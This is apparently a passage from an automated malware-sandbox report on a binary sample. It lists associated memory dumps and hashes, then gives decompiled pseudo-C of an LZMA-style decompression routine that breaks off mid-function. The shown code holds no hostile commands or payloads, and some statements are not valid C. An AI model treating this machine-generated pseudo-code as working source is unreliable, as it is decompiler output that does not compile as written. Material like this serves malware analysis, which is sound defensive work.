Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 797fef13bb3e8e171cff3cae9b41bd7abdeca14a353df9249488f574514014e3
Instruction ID: 0ba87498709856dc17a0c5f751d6ecfe3ae25d7b1153355424f504aba8ac83cf
Opcode Fuzzy Hash: 797fef13bb3e8e171cff3cae9b41bd7abdeca14a353df9249488f574514014e3
Instruction Fuzzy Hash: B4817772D04229CBDF24CFA8C8447AEBBB0FB44305F25816AD856BB2C0D7785A86DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406247, Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406247() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M0040684B))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4));
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8)); // executed
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
